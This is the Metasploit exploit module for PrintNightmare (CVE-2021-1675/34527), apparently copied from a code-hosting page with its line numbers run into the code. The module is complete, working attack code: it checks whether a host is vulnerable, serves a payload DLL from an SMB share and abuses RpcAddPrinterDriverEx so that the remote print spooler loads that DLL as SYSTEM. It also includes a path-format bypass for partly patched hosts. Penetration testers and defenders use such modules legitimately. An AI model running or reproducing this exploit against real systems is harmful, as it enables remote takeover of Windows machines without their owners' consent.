Path: blob/master/modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb
27903 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'windows_error'6require 'ruby_smb'7require 'ruby_smb/error'89class MetasploitModule < Msf::Exploit::Remote1011prepend Msf::Exploit::Remote::AutoCheck12include Msf::Exploit::Remote::DCERPC13include Msf::Exploit::Remote::SMB::Client::Authenticated14include Msf::Exploit::Remote::SMB::Server::Share15include Msf::Exploit::Retry16include Msf::Exploit::EXE17include Msf::Exploit::Deprecated1819moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare'2021PrintSystem = RubySMB::Dcerpc::PrintSystem2223def initialize(info = {})24super(25update_info(26info,27'Name' => 'Print Spooler Remote DLL Injection',28'Description' => %q{29The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted30DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN31vector which requires the Print Spooler service to be running.32},33'Author' => [34'Zhiniang Peng', # vulnerability discovery / research35'Xuefeng Li', # vulnerability discovery / research36'Zhipeng Huo', # vulnerability discovery37'Piotr Madej', # vulnerability discovery38'Zhang Yunhai', # vulnerability discovery39'cube0x0', # PoC40'Spencer McIntyre', # metasploit module41'Christophe De La Fuente', # metasploit module co-author42],43'License' => MSF_LICENSE,44'DefaultOptions' => {45'SRVHOST' => Rex::Socket.source_address46},47'Stance' => Msf::Exploit::Stance::Aggressive,48'Targets' => [49[50'Windows', {51'Platform' => 'win',52'Arch' => [ ARCH_X64, ARCH_X86 ]53},54],55],56'DisclosureDate' => '2021-06-08',57'References' => [58['CVE', '2021-1675'],59['CVE', '2021-34527'],60['URL', 'https://github.com/cube0x0/CVE-2021-1675'],61['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'],62['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],63['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream'],64['ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES]65],66'Notes' => {67'AKA' => [ 'PrintNightmare' ],68'Stability' => [CRASH_SERVICE_DOWN],69'Reliability' => [UNRELIABLE_SESSION],70'SideEffects' => [71ARTIFACTS_ON_DISK # the dll will be copied to the remote server72]73}74)75)7677register_advanced_options(78[79OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ])80]81)82deregister_options('AutoCheck')83end8485def check86begin87connect(backend: :ruby_smb)88rescue Rex::ConnectionError89return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')90end9192begin93smb_login94rescue Rex::Proto::SMB::Exceptions::LoginError95return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')96end9798begin99dcerpc_bind_spoolss100rescue RubySMB::Error::UnexpectedStatusCode => e101nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first102if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND103print_error("The 'Print Spooler' service is disabled.")104end105return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")106end107108@target_arch = dcerpc_getarch109# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43110if @target_arch == ARCH_X64111@environment = 'Windows x64'112elsif @target_arch == ARCH_X86113@environment = 'Windows NT x86'114else115return Exploit::CheckCode::Detected('Successfully bound to the remote service.')116end117118print_status("Target environment: Windows v#{simple.client.os_version} (#{@target_arch})")119120print_status('Enumerating the installed printer drivers...')121drivers = enum_printer_drivers(@environment)122@driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL"123vprint_status("Using driver path: #{@driver_path}")124125print_status('Retrieving the path of the printer driver directory...')126@config_directory = get_printer_driver_directory(@environment)127vprint_status("Using driver directory: #{@config_directory}") unless @config_directory.nil?128129container = driver_container(130p_config_file: 'C:\\Windows\\System32\\kernel32.dll',131p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"132)133134case add_printer_driver_ex(container)135when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code136return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')137when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND138return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')139when ::WindowsError::Win32::ERROR_BAD_NET_NAME140return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')141when ::WindowsError::Win32::ERROR_ACCESS_DENIED142return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')143end144145Exploit::CheckCode::Detected('Successfully bound to the remote service.')146end147148def run149fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64150fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?151fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?152153super154end155156def setup157if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0158fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')159end160161super162end163164def start_service165file_name << '.dll'166self.file_contents = generate_payload_dll167168super169end170171def primer172dll_path = unc173if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/174# targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass175# otherwise the operation will fail with ERROR_INVALID_PARAMETER176dll_path = "\\??\\UNC\\#{Regexp.last_match(1)}\\#{Regexp.last_match(2)}"177end178vprint_status("Using DLL path: #{dll_path}")179180filename = dll_path.rpartition('\\').last181container = driver_container(p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: dll_path)1821833.times do184add_printer_driver_ex(container)185end1861871.upto(3) do |directory|188container.driver_info.p_config_file.assign("#{@config_directory}\\3\\old\\#{directory}\\#{filename}")189break if add_printer_driver_ex(container).nil?190end191192cleanup_service193end194195def driver_container(**kwargs)196PrintSystem::DriverContainer.new(197level: 2,198tag: 2,199driver_info: PrintSystem::DriverInfo2.new(200c_version: 3,201p_name_ref_id: 0x00020000,202p_environment_ref_id: 0x00020004,203p_driver_path_ref_id: 0x00020008,204p_data_file_ref_id: 0x0002000c,205p_config_file_ref_id: 0x00020010,206# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913207p_name: "#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}",208p_environment: @environment,209p_driver_path: @driver_path,210**kwargs211)212)213end214215def dcerpc_bind_spoolss216handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\spoolss'])217vprint_status("Binding to #{handle} ...")218dcerpc_bind(handle)219vprint_status("Bound to #{handle} ...")220end221222def enum_printer_drivers(environment)223response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)224response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)225fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length226DriverInfo2.read(response.p_drivers.map(&:chr).join)227end228229def get_printer_driver_directory(environment)230response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)231response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)232fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length233RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')234end235236def add_printer_driver_ex(container)237flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES238239begin240response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)241rescue RubySMB::Error::UnexpectedStatusCode => e242nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first243message = "Error #{nt_status.name} (#{nt_status.description})"244if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN245# STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected246print_status('The named pipe connection was broken, reconnecting...')247reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do248dcerpc_bind_spoolss249rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e250false251else252true253end254255unless reconnected256vprint_status('Failed to reconnect to the named pipe.')257return nil258end259260print_status('Successfully reconnected to the named pipe.')261retry262else263print_error(message)264end265266return nt_status267end268269error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first270message = "RpcAddPrinterDriverEx response #{response.error_status}"271message << " #{error.name} (#{error.description})" unless error.nil?272vprint_status(message)273error274end275276def rprn_call(name, **kwargs)277request = PrintSystem.const_get("#{name}Request").new(**kwargs)278279begin280raw_response = dcerpc.call(request.opnum, request.to_binary_s)281rescue Rex::Proto::DCERPC::Exceptions::Fault => e282fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).")283end284285PrintSystem.const_get("#{name}Response").read(raw_response)286end287288class DriverInfo2Header < BinData::Record289endian :little290291uint32 :c_version292uint32 :name_offset293uint32 :environment_offset294uint32 :driver_path_offset295uint32 :data_file_offset296uint32 :config_file_offset297end298299# this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2300# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030301DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do302def self.read(data)303header = DriverInfo2Header.read(data)304new(305header,306RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),307RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),308RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),309RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),310RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')311)312end313end314end315316317